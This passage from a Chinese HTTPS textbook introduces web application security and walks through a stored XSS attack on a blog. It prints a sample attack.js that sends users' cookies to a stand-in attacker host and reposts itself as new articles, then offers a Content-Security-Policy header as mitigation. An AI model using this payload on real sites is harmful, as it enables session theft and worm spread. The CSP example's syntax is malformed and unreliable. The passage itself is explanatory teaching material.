深入浅出 HTTPS：从原理到实战
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1.5 Web应用安全

这个领域知识点非常多，攻击方式也非常多，本节简单介绍，让读者有个印象，表达的中心思想就是HTTP安全问题只是Web应用安全问题的一部分，就算网站支持了HTTPS, Web应用安全问题仍然很严峻。

HTTP只负责数据传输，真正的攻击对象是浏览器（用户）和服务器（数据）。HTTP响应只有在浏览器上运行才能触发更多的安全问题，如果没有浏览器这个运行环境，攻击就可能无法发起，一旦成功执行了客户端攻击，则又会进一步发送恶意请求攻击服务器。

对于客户端安全来说，重要的是要明白HTML语言和JavaScript脚本语言的运行机制。对于服务器端开发来说，首先避免编写有漏洞的程序，其次需要理解客户端的运行机制，否则很容易受到攻击。

1.5.1 浏览器、HTML和JavaScript

1）互联网早期

在Web应用早期，主要是重视服务器开发，服务器负责输出数据，而浏览器基于HTML语言渲染数据，呈现出页面即可，没有太多的其他操作，HTML标签和HTML元素也很少，主要是文字和图片等。在这种形式下，主要的攻击就是构建一条不规范的HTTP请求，如果开发者编写的应用程序不严谨，则可能会触发SQL注入等攻击，从而破坏服务器存储的数据。

2）互联网中期

接着，为了更好地呈现或者控制Web页面，HTML标准扩展了很多标签，比如<input type="file">标签，可以允许用户上传本地的文件至服务器。浏览器提供了很多的内置对象，比如XMLHTTPRequest，这些对象通过JavaScript语言来控制。

脚本语言的广泛使用，导致了重客户端的开发，服务器逐渐演变为仅仅提供数据，大部分的逻辑操作在客户端完成，客户端的攻击模式也越来越多。

这些攻击的根本原因就在于触发了恶意脚本，导致客户端自动执行一些攻击，攻击可以针对客户端本身，也可以直接攻击服务器，攻击还可以进行复制。

这里以常见的XSS攻击方式进行说明，XSS就是利用应用程序的漏洞，诱使用户触发恶意代码，从而自动发送恶意的HTTP请求至服务器，造成自动攻击。

通过一个博客系统来描述XSS攻击：

◎攻击者发现一个博客系统存在漏洞，发表文章的时候，服务器没有转义或者过滤数据。

◎攻击者用账号登录博客系统，打开文章编辑器，输入正常的内容，但是在文章末尾加入一段恶意代码（<script type='text/javascript'src='http://www.attack.com/attack.js'></script>）。

◎由于服务器没有任何的校验机制，所以正常生成了一篇文章，比如http://www.example.com/article.html。

◎攻击者将这篇文章的地址发送到各大论坛，或者将文章地址用邮件发送给其他人。

◎不明真相的人一旦打开这篇文章，浏览器就会下载并置执行attack.js文件，由于该文件包含了恶意代码，就可以进行攻击。

attack.js攻击代码如下：

        <script type="text/javascript">
        $(function(){
            var cookie = encodeURIComponent(document.cookie)

            $('<img src="http://www.attack.com/attack.php? cookie='+ cookie +'">').
    appendTo($(document.body))

            var content = "<scr"+"ipt type='text/javascript' src='http://www.attack.
    com/attack.js'></scr"+"ipt>"
            $.post("http://www.example.com/sendArticle.php", {content:content},
    function(result){});

        })
        </script>

这段代码中会产生两个攻击：

◎将用户www.example.com主机下的所有Cookie信息发送给攻击者。

◎自动以正常用户的身份生成一篇文章，而这篇文章包含同样的攻击代码。

3）目前的互联网

目前互联网更关注移动互联网，尤其是手机设备，为了更好地支持移动设备并提升性能，提出了HTML5标准，HTML5标准是下一代HTML标准。HTML5支持了更多的功能，比如说地理位置、照相机，而这些功能是手机设备本身具备的。对于开发者来说，由于拥有了更多的设备控制能力，会进一步导致安全问题，比如在HTML旧标准中，客户端JavaScript最多获取设备上的Cookie，不能获取设备的其他信息，而在HTML5中，客户端还能获取手机照片库信息，一旦应用实现出现问题，会暴露设备上更多的隐私信息，所以浏览器在实现HTML5标准的时候，会有很多的安全策略，这些标准是由W3C指定的。

1.5.2 W3C

为了解决安全和标准问题，开发人员想了很多办法，比如1.5.1书中介绍的XSS攻击，开发人员可以对请求数据进行转义，但是这些办法不具备普适性，依赖于开发人员的编码能力，那么有没有一种标准的方法来缓解安全问题呢？W3C在这方面做了很多的努力。

Tim Berners-Lee教授提出Web技术后成立了W3C组织，W3C主要制定Web技术的标准，比如HTML标准、DOM标准、CSS标准、ECMAScript标准，而实现这些标准主要由浏览器厂商或者服务器厂商完成。如果没有严格遵守标准，会产生很多兼容和安全问题。

在互联网早期，W3C没有过多考虑安全问题，而目前W3C有了更多的安全标准，尤其在制定HTML5标准的时候，充分考虑了安全问题。

W3C主要以HTTP头部的方式提供安全保护，比如Access-Control-Allow-Origin、X-XSS-Protection、Strict-Transport-Security、Content-Security-Policy HTTP头部，一旦开发者和浏览器正确地遵守安全标准，就能缓解安全问题。

比如1.5.1中的XSS攻击，主要原因就在于浏览器执行了一个外部JavaScript脚本，如果浏览器按照策略不加载外部脚本，攻击就无从谈起了。比如服务器输出下面的Content-Security-Policy头信息，等于告诉浏览器只允许加载www.example.com本域下的脚本文件，就能避免XSS攻击。

        Content-Security-Policy:  default-src:  'self';  script-src:  http://www.
    example.com;

这里也只是抛砖引玉，所举例子也很简单，对于整个Web应用来说，安全问题是复杂的，本书主要从HTTPS的角度去理解Web安全问题。

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